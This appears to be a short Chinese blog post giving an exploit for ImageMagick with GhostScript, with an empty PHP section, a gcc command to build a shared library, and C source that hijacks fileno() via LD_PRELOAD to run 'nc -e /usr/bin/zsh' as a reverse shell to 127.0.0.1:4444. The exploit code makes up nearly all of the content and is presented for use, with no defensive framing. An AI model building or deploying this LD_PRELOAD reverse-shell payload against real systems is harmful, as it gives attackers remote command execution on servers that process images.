003-imagemagick+GhostScript

## **imagemagick+GhostScript**

**exp**

“`php

“`

其中 imag.c文件需要编译,命令如下

“`bash
gcc -shared -fPIC imag.c -o imag.so

“`

> imag.c代码

“`bash
#include
#include
void payload() {
const char* cmd = “nc -e /usr/bin/zsh 127.0.0.1 4444”;
system(cmd);
}
int fileno() {
if (getenv(“LD_PRELOAD”) == NULL) { return 0; }
unsetenv(“LD_PRELOAD”);
payload();
}

“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容